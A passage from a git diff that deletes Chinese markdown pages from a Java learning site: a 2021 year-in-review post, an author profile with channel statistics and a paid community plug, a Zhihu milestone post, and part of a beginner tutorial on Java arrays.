的话最具有说服力了,这个平台不规范转载的很多,垃圾资源下载的很多,但也有几个优秀的作者撑起了 CSDN 的半边天,二哥就是其中一个。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-a7c74449-7183-453f-8286-92d0bfe0a56d.png) - -老读者都知道,我是从2014 年,开始坚持写技术博客的。一开始,还没敢在 CSDN 上写,只敢在 JavaEye 上写(估计很多新读者都不太知道这个平台)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-43677bfa-bdd6-4c3b-aa67-3a3277dc3575.png) - -那时候的 JavaEye 真的是非常非常非常的纯粹(比博客园更纯粹),没有任何商业广告,还时不时送送书,头部作者有 fastjson 的作者温少,《亿级流量网站架构核心技术》作者开涛,想必做技术的大家应该都知道他们俩。 - -后来胆子大了,就开始在 CSDN 上写,当时认识的头部作者有安晓辉、浅墨(毛星云)、杨秀璋等等。 - -就这样写着写着,我成了 CSDN 的博客专家,出版了一本技术图书,成为了两届博客之星。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-5137a245-035e-4e36-ba04-2b06fae275e1.png) - -就这样写着写着,我遇到了越来越多的读者,给他们提供帮助的同时,也成为了他们前进的动力。 - -据我自己的不完全统计,2021 年,我在朋友圈和公众号送出去了超过 200 本技术图书,每次我都会留个小心机,问中奖的读者是怎么认识二哥的,有没有什么建议,留言中竟然很多都来自 CSDN,这让我又惊又喜。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-11df1e5d-2505-416c-949a-607b4ebbc61f.png) - -经常有读者夸赞二哥好有写作的天赋啊,其实哪里是有天赋,纯粹是因为写得多,所以才写得好。我现在的文笔,讲真,还不如上高中那会,那会才是真的笔下生花,诗都能写得出来,情书就更不用说了。 - -等过年的时候吧,我把那些尘封多年的文字贴出来给大家瞧瞧。 - -### 一、追忆往事 - -借这个机会,和大家一起坐上时光机重温一下往事吧。翻看相册,2021 年,还真有不少令人感动的瞬间,太多太多了,我就每个月挑一件吧。 - -1 月 13 日,我和妹妹在小叔家的房顶上自拍。 - -2 月 15 日,我和奶奶的合影。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-14d7737b-7324-4717-bd16-a3da7f2b1223.png) - -3 月 26 日,读者考上研究生了,特意发来祝贺。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-63626ad5-8580-4565-a0da-af3a0bf43875.png) - -4 月 3 日,和教练小姐姐在健身房合影。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-eb256e24-de8a-49d0-a6ef-eb6d0b8d28e7.png) - -5 月 25 日,二哥的读者群体扩大了台湾省。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-b2a8a63c-8c8f-4d39-9a9f-acf54c908058.png) - -6 月 13 日,和家人畅游青岛。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-b430951d-544c-4743-b700-3c71a854267a.png) - -7 月 20 日,被某某女粉追着要联系方式。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-d7e127c5-5560-45c0-87c8-4cea924047cd.png) - -8 月 21 日,在十八线县城的老家砸核桃吃。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-944b3f88-86ab-4e86-aeb6-4ad1f4f1ece3.png) - -9 月 23 日,收到掘金和 CSDN 寄来的月饼。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-0056fcd2-afa4-475e-ad69-95b84b90b8c7.png) - -10 月 11 日,收到《二哥的Java进阶之路》专栏在 GitHub 上开源以来的两笔大额打赏。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-7e6d9918-6d94-45ef-9afa-42882f79944d.png) - -11 月 6 日,和四位河科大的学弟撸完串后在校园里的合影。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-0c1b3624-f4e5-4e0c-b119-0ef4d440a60d.png) - -12 月 27 日,CSDN 生成的年度报告。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-a070af45-bfeb-4b1a-9b29-745279a4a0fc.png) - -不知道大家的 2021 过得怎么样? - -- 充实? -- 落魄? -- 上进? -- 消极? -- 幸福? -- 悲伤? - -我个人的感受是**平淡中有一点点小确幸,平凡中有一点点小进步**,这也许就是普通人最真实的写照了吧? - -### 二、有点遗憾 - -一年时间过得可真快,有很多想做好的事情,到最后都差了点意思。就说一件吧,B 站的视频播放量没有达到预期。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-83e7cfbc-496d-45e8-bfd6-cd0d1dfc60d3.png) - - -8 月份还能坚持一周输出一个,从一开始面对镜头时的恐惧,到慢慢接纳自己。但好景不长,9 月份的时候,视频播放量呈现下降趋势,我就开始胡思乱想了。 - -- 是不是自己不适合拍视频啊? -- 是不是自己表达的不够有趣啊? -- 是不是剪辑没剪好啊? - -这种心态其实很正常,但往往这种心态又会影响下一个视频的创作,就失去了正向的反馈。 - -于是后面就渐渐变成了一个月一个视频,但视频播放并没有任何的起色。 - -读者群体里有不少爱好写作的小伙伴,应该都能感受到这种困惑,当你辛辛苦苦创作出来的作品得不到认可的时候,就容易陷入自我怀疑当中,对于这一点,二哥也不例外。 - -所以,这里就拜托大家了,**如果你是二哥的铁粉,看到二哥发了 B 站的视频,赶紧跑去三连支持下,火钳刘明**。三连也是鼓励二哥创作出更多优质视频的最强动力了。 - -不管怎么样,2022 年,我会改变心态,继续坚持录制视频,**因为普通人想要闯出一片天地,唯有坚持不懈和不断改进**。 - -有志者,事竟成,破釜沉舟,百二秦关终属楚; -苦心人,天不负,卧薪尝胆,三千越甲可吞吴。 - -B 站我一定做到一万粉——这个 flag 不能到。 - -人这一辈子,很难事事顺心,也很难做什么事都成什么事。总是会遇到一些挫折,重要的是,遇到挫折的时候,如何破局走出来,这才是最重要的。 - -俗称抗压能力。 - -时不时会有一些读者问我: - -- “我秋招失败了,怎么办?” -- “我考研失败了,怎么办?” -- “我被公司裁了,怎么办?” -- “我无法晋升了,怎么办?” - -大局观上来说,最好的办法就是接纳自己,接纳自己的失败。 - -- 秋招失败了,就准备春招,总结一波秋招发挥失误的点是什么,然后在春招前补上。 -- 考研失败了,要么二战,要么就找一份工作,开辟新的战场。 -- 被公司裁了就所要赔偿,然后赶紧准备简历,找新的工作,不要在过去的失意中沉沦。 -- 找一找没办法晋升的原因是什么,是因为得罪了领导,是因为技术没跟上,职场遇到瓶颈了,要么降低预期,要么猥琐发育等下一波机会,要么跳槽。 - -拿我自己的 B 站视频来说,应对办法有两个,第一个就是加量,在不断的试错中找出观众喜欢的点和角度;第二个就是提高视频的质量,包括创意、表达方式、后期剪辑等。 - -有点遗憾不要紧,要紧的是被遗憾击垮! - -如果你在 2021 年遇到了不开心,遇到了挫折,请给自己多一点时间。像二哥,不也一样有做不成功的时候嘛,我们都是平凡人,不卑不亢地接纳自己就会有新的起色。 - -### 三、新的憧憬 - -展望 2022 年,有太多的期待了。 - -这不,新的惊喜就是《二哥的Java进阶之路》专栏第一次上了 GitHub 的 trending 榜单! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-8868c50f-d622-4f1f-a92b-13cf95edd786.png) - -正应了那句话,功夫不负有心人。 - -对于这个开源专栏,我投入了大量的心血,一开始的名字叫《教妹学 Java》,主打 Java 的入门级路线,一直连载了近 100篇原创内容。 - -后来有朋友建议我,要想走国际化的话,就必须得换个名字,得和国际接轨,于是我就想破脑袋,征求了很多朋友的建议,改成这个《二哥的Java进阶之路》了,因为我之前出版过一本技术书《Web 全栈开发进阶之路》,叫这个名字刚好也非常适合。 - -英文名字叫 toBeBetterJavaer, 前后呼应,一气呵成。 - -立个 flag 吧,**2022 年,冲 5000 star**! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/csdn-1000wan-5ebc2c65-f342-45f9-aaf6-7f663b5406b8.png) - -这个 flag 绝不能倒! - -还有一件事,就是我打算共建一个知识星球,因为每天过来咨询二哥问题的读者实在是太多了,导致回复速度变得很慢,效率不高。 - -如果能建一个知识星球,把这些问题的答案全部沉淀下来,隔断时间整理一波 PDF,就美滋滋了。 - -目前规划的方向有: - -- offer 咨询 -- 职业规划 -- 简历优化 -- 资源分享 -- 打卡共进 -- 助学活动 - -打算趁过年的这段时间好好的规划一下,列一个详细的清单出来,到时候如果有意愿加入的话,到时候可以来参与一波。 - -俗话说,一个好汉三个帮,一个篱笆三个桩,大家在一起学习沉淀的话,效率也会比较高,信息差也会被抹平。 - -最后一件事就是,我希望有更多的时间陪陪家人。虽然二哥在三线城市,但业余时间基本上全部用来输入输出了。 - -当然了,比起在一线城市打拼的大家伙,二哥陪家人的时间肯定会多一些,但我总觉得不够。毕竟我们无论处于什么阶段,挣多少钱,终归是希望我们家人能过上更好一点的生活。 - -否则,我们奋斗拼搏加班卖命的工作,又图什么呢? - -这恐怕也是二哥宁愿在三线城市待着的最大原因了,人活着只有一次,而最亲的人,就是家人,二哥还是一个比较腻在家人身边的人。 - -我也希望,大家能在 2022 年找到心爱的人,找到的就更进一步,有家就有烟火味,你奋斗的一切都会显得很值得。 - -### 四、最后的祝福 - -如果你是学生党,希望课堂上的你,能够认认真真听讲;如果老师的课实在没意思,网上有很多优质的公开资源,可参考[该死!B 站上这些 Java 视频真香!](https://mp.weixin.qq.com/s/Wgedf4ZH3_zJXxFxyPPyNQ) - -还有就是逢考必过,追 TA 必到手。 - -如果你是工作党,希望工作中的你,不被甩锅,蒸蒸日上;如果事业上遇到瓶颈了,不妨拓展一门副业,给自己打开一扇窗。 - -还有就是绩效必 A,跳槽涨薪美滋滋。 - -就这吧! - -如果可以的话,大家可以在评论区刷一波,**二哥牛逼,2022 我们一起飞**~~ diff --git a/docs/src/about-the-author/readme.md b/docs/src/about-the-author/readme.md deleted file mode 100644 index 958c6c92d4..0000000000 --- a/docs/src/about-the-author/readme.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: 个人介绍 Q&A -category: 联系作者 ---- - -大家好,我是二哥呀!这篇文章会通过 QA 的形式简单介绍一下我自己。 - -## 一、我取得了哪些成绩? - -又到了晒成绩的环节,真让人迫不及待啊(瞧我这该死的自信)! - -### 01、公众号 - -目前我的原创公众号“**沉默王二**”有 10.5 万+ 读者关注,专注于分享硬核的 Java 后端技术文章。平均阅读 5500 左右,综合排名能排在全国开发者中的前 50 名左右(数据来源于二十次幂)。 - -可以微信搜索 **沉默王二** 关键字或者扫码直接关注,关注后回复 **00** 还可以拉取我为你精心准备的学习资料。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -学习资料有 BAT 大佬的刷题笔记,有《二哥的Java进阶之路》的 PDF 版电子书等等。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/about-the-author/readme-a3b81b80-03ec-470c-a9aa-ae8868e239cd.png) - - - -### 02、CSDN - -两届博客之星,总榜前 10 选手,访问量 1100 万+,粉丝 34 万+,妥妥的裆部博主,哦,不,头部博主。 - ->访问地址:[https://blog.csdn.net/qing_gee](https://blog.csdn.net/qing_gee) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/about-the-author/readme-14fd83ec-db6e-4a6f-a8e9-8ce1ce0097c3.png) - -### 03、知乎 - -LV9 选手,阅读总数超 1590 万,今年卷一卷的话,破 2000 万阅读没什么问题。 - ->访问地址:[https://www.zhihu.com/people/cmower](https://www.zhihu.com/people/cmower) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/about-the-author/readme-0fa19b6e-d06c-436b-bd11-1de8265c56bb.png) - -### 04、B 站 - ->访问地址:[https://space.bilibili.com/513340480](https://space.bilibili.com/513340480) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/about-the-author/readme-5db6c62f-6194-4022-aee5-daf4d1a19f0c.png) - -### 05、GitHub - -目前主要维护的《二哥的Java进阶之路》开源版在 GitHub 上有 2.7k+ 的 star,和出版社约定的是,超过 1 万 star 就出书,小伙伴们可以来点赞支持下。 - ->访问地址:[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/about-the-author/readme-aa477206-41a9-4c55-a649-3d87ba1cb26b.png) - - -### 05、知识星球 - -目前还处在试运营阶段,正在筹备星球用户专属的 5 份小册,质量高的一笔。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/about-the-author/readme-c3dd1280-098e-460c-9a41-7d566976392b.png) - -内容涵盖实战项目开发笔记、面试指南、Java学习、LeetCode Java 版刷题笔记等优质内容,价值远超门票! - -- 编程喵喵开源 Spring Boot+Vue 的前后端分离项目实战笔记 -- **Java 面试指南**,今年重点更新内容,涵盖面试准备篇、技术面试题篇、面经篇、职场修炼篇等等硬核内容。 -- 二哥的Java进阶之路优化重构版(星球专属) -- GitHub 上星标 147k+ 的 Java 教程(更多优质教程持续更新) -- LeetCode 题解 Java 版(持续更新 300 道) - -这是《Java 面试指南》专栏目前已经更新的内容,讲真,就这一个专栏就值回票价(新人优惠价只有 69 元)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/about-the-author/readme-066ef990-a603-4ace-9a19-728eeb319924.png) - -还有星球内部我也在坚持每天更新优质的内容。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/about-the-author/readme-e108c929-ebc5-4d75-8d40-825f6d027117.png) - -喜欢的小伙伴可以直接扫码加入。 - -![](https://cdn.paicoding.com/itwanger/zhishixingqiu-youhui30yuan.png) - -## 二、为什么叫沉默王二 - -其实原因很简单,我个人比较喜欢王小波,小波是个程序员,还是个作家,写的小说和杂文我都特别喜欢,有一本叫《沉默的大多数》,我就取了沉默二字,《黄金时代》里和陈清扬搞破鞋的男主就叫王二,加上小波在家排行老二,上面有个哥哥,下面有个弟弟,所以综合到一起就叫“沉默王二”了。 - -## 三、为什么做这个开源知识库 - -> [!NOTE] -> 知识库取名 **toBeBetterJavaer**,即 **To Be Better Javaer**,意为「成为一名更好的 Java 程序员」,是自学 Java 以来所有原创文章和学习资料的大聚合。内容包括 Java 基础、Java 并发编程、Java 虚拟机、Java 企业级开发、Java 面试等核心知识点。据说每一个优秀的 Java 程序员都喜欢她,风趣幽默、通俗易懂。学 Java,就认准 二哥的Java进阶之路😄。 -> -> 知识库旨在为学习 Java 的小伙伴提供一系列: -> - **优质的原创 Java 教程** -> - **全面清晰的 Java 学习路线** -> - **免费但靠谱的 Java 学习资料** -> - **精选的 Java 岗求职面试指南** -> - **Java 企业级开发所需的必备技术** -> -> 赠人玫瑰手有余香。知识库会持续保持**更新**,欢迎收藏品鉴! - ->访问地址:[https://javabetter.cn](https://javabetter.cn) - -## 四、未完待续 diff --git a/docs/src/about-the-author/zhihu-1000wan.md b/docs/src/about-the-author/zhihu-1000wan.md deleted file mode 100644 index 4fc276dbde..0000000000 --- a/docs/src/about-the-author/zhihu-1000wan.md +++ /dev/null @@ -1,119 +0,0 @@ ---- -category: - - 联系作者 -tag: - - 心路历程 ---- - - -# 我的第一个,一千万!知乎阅读 - - -大家好,我是二哥呀! - -前几天,偷偷摸摸过了自己的第 N 个 18 岁,本来不想过生日的,就想当做是平常的一天。结果我妹非要提醒我,大家伙瞧瞧,这像妹妹该说的话吗? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/zhihu-1000wan-5addb157-141f-400b-a51f-77557c8fdb8d.png) - -呜呜呜~ - -求安慰。 - -不想安慰就想偷着乐是吧?那我自己安慰下自己吧。 - -**经营了近一年的知乎,阅读总数突破了一千万,这也是我人生当中的第一个**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/zhihu-1000wan-0324afde-4009-4e80-b878-2311ff88e5ca.png) - -其实早在 11 月就破了千万,当时就想记录一下,但细想一下,好像这点成绩也算不上什么。毕竟逼乎上人均 985、年薪百万、刚下飞机的大佬多的是。 - -为什么放在 12 月说呢,大家都懂的,毕竟再过几天 2021 年就要结束了,总得记录点啥。 - -况且一千万的阅读量,放在技术圈,确实不算少了。况且我这些分享确实实打实的帮助了不少的小伙伴。 - -这不,前几天一个帖子莫名其妙被知乎删除了,我是无感知的。一个小伙伴为了看这个帖子,还特意发起了一次 9.8 元的付费咨询。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/zhihu-1000wan-2fdd5b2b-67c5-40cf-b0e4-0a92a37e659a.png) - -这足以说明这个帖子的内容是足够硬核的。 - -写知乎这近一年时间里,有一个帖子无声无息地爆了:**60 万+的阅读,7000+赞同,2.3 万+次的收藏**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/zhihu-1000wan-8b4637f2-08c9-479b-855f-3fd332d44651.png) - -不对啊,收藏竟然是点赞的 3 倍还多。。嗯,此时此刻天空飘出来了四个字:白票真香。 - -不过,有一说一,大家好,才是真的好,这么多人点赞收藏,确实是干货无疑了。 - -讲真,这个帖子说实在的,属于无心插柳柳成荫了,就是一个即兴作品。 - -我只不过是把自己写过的公众号文章做了一个梳理总结。不过我过了一把导演的梦,加上了一点电影拍摄的手法。 - -相信大家去看完后也会有一种:卧槽,牛逼啊。 - -并且是拍着大腿的那种。 - -地址我贴出来了,没看过的小伙伴可以去欣赏一下。 - ->https://www.zhihu.com/question/66535555/answer/1799868707 - -不知不觉,我已经回洛阳 8 年了!加上在苏州的 3 年半,正儿八经做程序员的时间已经超过 10 年了,时间过得可真快! - -为了体现出我的文学修养,此时必须加上几个成语:真的是光阴似箭、日月如梭、白驹过隙啊。 - -按照网上的说法,我这种人要么飞黄腾达财务自由了,要么被无情辞退转行跑滴滴了。 - -无奈我既不是前一种,也不是后一种。 - -既不卷,也不躺平。 - -有焦虑,也有幸福。 - -对未来,有期待,也有担忧。 - -对当下,有满足,也有不满。 - -。。。。。。 - -完蛋,一不小心上升到哲学的层面上了,收收收收。 - -这么说吧,我一直觉得自己比较幸运。 - -大学原本选的不是计算机专业,却一不小心做了程序员,没想到,这个职业还挺适合自己。 - -大学过得一塌糊涂,却不经意间去了一家外企,做到了 work-life-balance。 - -身处三线城市,按理说这里是一片互联网的荒漠,我却在这里开荒拓土出了一片绿洲。 - -再加上公众号的恰饭,确实让我的生活变得不再那么窘迫了。不管是输入还是输出,也都有了更强的动力。 - -毕竟只靠爱来发电,很难坚持。 - -如果你觉得有些饭不错,感兴趣,不妨试试,给自己的投资永远都是值得的,并且回报率极高。 - -反正我自己私底下是买了不少课,毕竟学习是永远不能落下的,不管你是在一线城市,还是二三线城市。 - -给大家看一下,这只是我书柜的一角。 - -纸质书虽然已经不流行了,但它会让你感觉踏实,日子过得有奔头。 - -对恰的饭不感兴趣的,忽略就好,多看看干货给个三连也是非常不错的体验。 - -我在知乎上还有不少硬核输出,尤其是这些千赞以上的帖子,真心推荐给大家看看,看完后绝壁是有收获的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/szjy/zhihu-1000wan-4612a83f-6207-496c-b32b-c6f1ab031c4f.png) - -虽然有些埋没的帖子我觉得价值也很高。不过,埋没就埋没吧。 - -定个小目标吧:2022 年,知乎阅读破 5000 万阅读(好像注定完不成)。 - -这个 flag 我立这了哈,欢迎大家监督。。 - -要是完不成,我把知乎上的全部收入拿出来给大家分成,怎么样? - -明年底我会在这里公布结果,大家敬请期待。 - -好了,就聊这么多吧,继续加班回答帖子去了。 - - -我是二哥,我们下期见~ diff --git a/docs/src/array/array.md b/docs/src/array/array.md deleted file mode 100644 index 7bee9e9d3c..0000000000 --- a/docs/src/array/array.md +++ /dev/null @@ -1,393 +0,0 @@ ---- -title: 掌握Java数组:一个非常特殊的对象 -shortTitle: 数组 -category: - - Java核心 -tag: - - 数组&字符串 -description: 本文详细介绍了Java数组,包括数组的基本概念、创建方法、初始化方法以及常用操作。学习本文内容,您将掌握Java数组的定义、如何创建和初始化数组,以及如何进行数组元素的添加、删除、查询等操作,为您的Java编程之旅打下坚实基础。 -head: - - - meta - - name: keywords - content: Java, 数组, 创建数组, 初始化数组, 数组操作 ---- - -“二哥,我看你公众号的一篇文章里提到,[ArrayList](https://javabetter.cn/collection/arraylist.html) 的内部是用数组实现的,我就对数组非常感兴趣,想深入地了解一下,今天终于到这个环节了,好期待呀!”三妹的语气里显得很兴奋。 - -“的确是的,看 ArrayList 的源码就一清二楚了。”我一边说,一边打开 Intellij IDEA,并找到了 ArrayList 的源码。 - -```java -/** - * The array buffer into which the elements of the ArrayList are stored. - * The capacity of the ArrayList is the length of this array buffer. Any - * empty ArrayList with elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA - * will be expanded to DEFAULT_CAPACITY when the first element is added. - */ -transient Object[] elementData; // non-private to simplify nested class access - -/** - * The size of the ArrayList (the number of elements it contains). - * - * @serial - */ -private int size; -``` - -“瞧见没?`Object[] elementData` 就是数组。”我指着显示屏上这串代码继续说。 - -数组是一个对象,它包含了一组固定数量的元素,并且这些元素的类型是相同的。数组会按照索引的方式将元素放在指定的位置上,意味着我们可以通过索引来访问这些元素。在 Java 中,索引是从 0 开始的。 - -“哥,能说一下为什么索引从 0 开始吗?”三妹突然对这个话题很感兴趣。 - -“哦,Java 是基于 C/C++ 语言实现的,而 C 语言的下标是从 0 开始的,所以 Java 就继承了这个良好的传统习惯(*我瞎编的*)。C语言有一个很重要概念,叫做指针,它实际上是一个偏移量,距离开始位置的偏移量,第一个元素就在开始的位置,它的偏移量就为 0,所以索引就为 0。”此刻,我很自信。 - -“此外,还有另外一种说法。早期的计算机资源比较匮乏,0 作为起始下标相比较于 1 作为起始下标,编译的效率更高。” - -“哦。”三妹意味深长地点了点头。 - -我们可以将数组理解为一个个整齐排列的单元格,每个单元格里面存放着一个元素。 - -比如说下图中的数组,值为[a,b,c,a,b,c,b,b],下标依次为 0、1、2、3、4、5、6、7。 - -![](https://cdn.paicoding.com/stutymore/array-20231213153711.png) - -数组元素的类型可以是基本数据类型(比如说 int、double),也可以是引用数据类型(比如说 String),包括自定义类型。 - -### 数组的声明与初始化 - -数组的声明方式分两种。 - -先来看第一种: - -```java -int[] anArray; -``` - -再来看第二种: - -```java -int anOtherArray[]; -``` - -不同之处就在于中括号的位置,是跟在类型关键字的后面,还是跟在变量的名称的后面。前一种的使用频率更高一些,像 ArrayList 的源码中就用了第一种方式。 - -同样的,数组的初始化方式也有多种,最常见的是: - -```java -int[] anArray = new int[10]; -``` - -看到没?上面这行代码中使用了 new 关键字,这就意味着数组的确是一个对象,只有对象的创建才会用到 new 关键字,[基本数据类型](https://javabetter.cn/basic-grammar/basic-data-type.html)是不用的(基本数据的包装类型是可以 new 的,包装类型就是对象)。然后,我们需要在方括号中指定数组的长度。 - -这时候,数组中的每个元素都会被初始化为默认值,int 类型的就为 0,Object 类型的就为 null。 不同数据类型的默认值不同,可以参照[之前的文章](https://javabetter.cn/basic-grammar/basic-data-type.html)。 - -另外,还可以使用大括号的方式,直接初始化数组中的元素: - -```java -int anOtherArray[] = new int[] {1, 2, 3, 4, 5}; -``` - -这时候,数组的元素分别是 1、2、3、4、5,索引依次是 0、1、2、3、4,长度是 5。 - -### 数组的常用操作 - -“哥,怎么访问数组呢?”三妹及时地插话到。 - -前面提到过,可以通过索引来访问数组的元素,就像下面这样: - -```java -anArray[0] = 10; -``` - -变量名,加上中括号,加上元素的索引,就可以访问到数组,通过“=”操作符可以对元素进行赋值。 - -如果索引的值超出了数组的界限,就会抛出 `ArrayIndexOutOfBoundException`。由于数组的索引是从 0 开始,所以最大索引为 `length - 1`,不要使用超出这个范围内的索引访问数组,否则就会抛出数组越界的异常了。 - -比如说你声明了一个大小为 10 的数组,你用索引 10 来访问数组,就会抛出这个异常。因为数组的索引是从 0 开始的,所以数组的最后一个元素的索引是 `length - 1`,也就是 9。 - -当数组的元素非常多的时候,逐个访问数组就太辛苦了,所以需要通过遍历的方式。 - -第一种,使用 for 循环: - -```java -int anOtherArray[] = new int[] {1, 2, 3, 4, 5}; -for (int i = 0; i < anOtherArray.length; i++) { - System.out.println(anOtherArray[i]); -} -``` - -通过 length 属性获取到数组的长度,然后从 0 开始遍历,就得到了数组的所有元素。 - -第二种,使用 for-each 循环: - -```java -for (int element : anOtherArray) { - System.out.println(element); -} -``` - -如果不需要关心索引的话(意味着不需要修改数组的某个元素),使用 for-each 遍历更简洁一些。当然,也可以使用 while 和 do-while 循环。 - -### 可变参数与数组 - -在 Java 中,可变参数用于将任意数量的参数传递给方法,来看 `varargsMethod()` 方法: - -```java -void varargsMethod(String... varargs) {} -``` - -该方法可以接收任意数量的字符串参数,可以是 0 个或者 N 个,本质上,可变参数就是通过数组实现的。为了证明这一点,我们可以看一下反编译一后的字节码: - -```java -public class VarargsDemo -{ - - public VarargsDemo() - { - } - - transient void varargsMethod(String as[]) - { - } -} -``` - -所以,我们其实可以直接将数组作为参数传递给该方法: - -```java -VarargsDemo demo = new VarargsDemo(); -String[] anArray = new String[] {"沉默王二", "一枚有趣的程序员"}; -demo.varargsMethod(anArray); -``` - -也可以直接传递多个字符串,通过逗号隔开的方式: - -```java -demo.varargsMethod("沉默王二", "一枚有趣的程序员"); -``` - -### 数组与 List - -在 Java 中,数组与 List 关系非常密切。List 封装了很多常用的方法,方便我们对集合进行一些操作,而如果直接操作数组的话,有很多不便,因为数组本身没有提供这些封装好的操作,所以有时候我们需要把数组转成 List。 - ->List 会在[集合框架](https://javabetter.cn/collection/arraylist.html)一节详细介绍,这里先来个开胃菜,方便大家回头过来复盘。 - -“怎么转呢?”三妹问到。 - -最原始的方式,就是通过遍历数组的方式,一个个将数组添加到 List 中。 - -```java -int[] anArray = new int[] {1, 2, 3, 4, 5}; - -List aList = new ArrayList<>(); -for (int element : anArray) { - aList.add(element); -} -``` - -更优雅的方式是通过 [Arrays 类](https://javabetter.cn/common-tool/arrays.html)(戳链接了解详情)的 `asList()` 方法: - -```java -List aList = Arrays.asList(anArray); -``` - -不过需要注意的是,Arrays.asList 的参数需要是 Integer 数组,而 anArray 目前是 int 类型。 - -可以这样写: - -```java -List aList1 = Arrays.asList(1, 2, 3, 4, 5); -``` - -或者换另外一种方式。 - -```java -List aList = Arrays.stream(anArray).boxed().collect(Collectors.toList()); -``` - -这又涉及到了 [Java 流](https://javabetter.cn/java8/stream.html)的知识,戳链接了解。 - -还有一个需要注意的是,Arrays.asList 方法返回的 ArrayList 并不是 `java.util.ArrayList`,它其实是 Arrays 类的一个内部类: - -```java -private static class ArrayList extends AbstractList - implements RandomAccess, java.io.Serializable{} -``` - -如果需要添加元素或者删除元素的话,需要把它转成 `java.util.ArrayList`。 - -```java -new ArrayList<>(Arrays.asList(anArray)); -``` - -Java 8 新增了 [Stream 流](https://javabetter.cn/java8/stream.html)的概念,这就意味着我们也可以将数组转成 Stream 进行操作。 - -```java -String[] anArray = new String[] {"沉默王二", "一枚有趣的程序员", "好好珍重他"}; -Stream aStream = Arrays.stream(anArray); -``` - -### 数组的排序与查找 - -如果想对数组进行排序的话,可以使用 Arrays 类提供的 `sort()` 方法。 - -- 基本数据类型按照升序排列 -- 实现了 Comparable 接口的对象按照 `compareTo()` 的排序 - -来看第一个例子: - -```java -int[] anArray = new int[] {5, 2, 1, 4, 8}; -Arrays.sort(anArray); -``` - -排序后的结果如下所示: - -```java -[1, 2, 4, 5, 8] -``` - -来看第二个例子: - -```java -String[] yetAnotherArray = new String[] {"A", "E", "Z", "B", "C"}; -Arrays.sort(yetAnotherArray, 1, 3, - Comparator.comparing(String::toString).reversed()); -``` - -只对 1-3 位置上的元素进行反序,所以结果如下所示: - -``` -[A, Z, E, B, C] -``` - -有时候,我们需要从数组中查找某个具体的元素,最直接的方式就是通过遍历的方式: - -```java -int[] anArray = new int[] {5, 2, 1, 4, 8}; -for (int i = 0; i < anArray.length; i++) { - if (anArray[i] == 4) { - System.out.println("找到了 " + i); - break; - } -} -``` - -上例中从数组中查询元素 4,找到后通过 break 关键字退出循环。 - -如果数组提前进行了排序,就可以使用二分查找法,这样效率就会更高一些。`Arrays.binarySearch()` 方法可供我们使用,它需要传递一个数组,和要查找的元素。 - -```java -int[] anArray = new int[] {1, 2, 3, 4, 5}; -int index = Arrays.binarySearch(anArray, 4); -``` - -“除了一维数组,还有[二维数组](https://javabetter.cn/array/double-array.html),三妹你可以去研究下,比如说用二维数组打印一下杨辉三角,我们下一节会讲。” - -### 数组的复制 - -有时候我们需要将一个数组的值复制到另外一个数组当中,那就会涉及到数组复制的知识点。 - -在 [String 类](https://javabetter.cn/string/string-source.html)(讲完数组就会讲)中其实会经常遇到数组复制,比如说 `substring()` 方法。 - -```java -public String substring(int beginIndex) { - return (beginIndex == 0) ? this : new String(value, beginIndex, subLen); -} -``` - -注意其中的 `new String()`,它会返回一个新的字符串,这个字符串的值就是原字符串的一部分,这个过程就涉及到了数组的复制。 - -```java -public String(char value[], int offset, int count) { - this.value = Arrays.copyOfRange(value, offset, offset+count); -} -``` - -其中的 `Arrays.copyOfRange()` 方法就是用来复制数组的,我们在讲 [Arrays 类](https://javabetter.cn/common-tool/arrays.html#_2-copyofrange)的时候就会讲到。 - -它底层调用的是 `System.arraycopy()` 方法,这个方法是一个 [native 方法](https://javabetter.cn/oo/native-method.html),它是用 C/C++ 实现的,效率非常高。 - -![](https://cdn.paicoding.com/stutymore/array-20231213160102.png) - -System.arraycopy 方法的定义如下所示: - -```java -public static native void arraycopy(Object src, int srcPos, - Object dest, int destPos, - int length); -``` - -用法如下所示: - -```java -int[] array1 = {1, 2, 3}; -int[] array2 = {4, 5, 6}; - -// 创建一个新数组,长度为两个数组长度之和 -int[] mergedArray = new int[array1.length + array2.length]; - -// 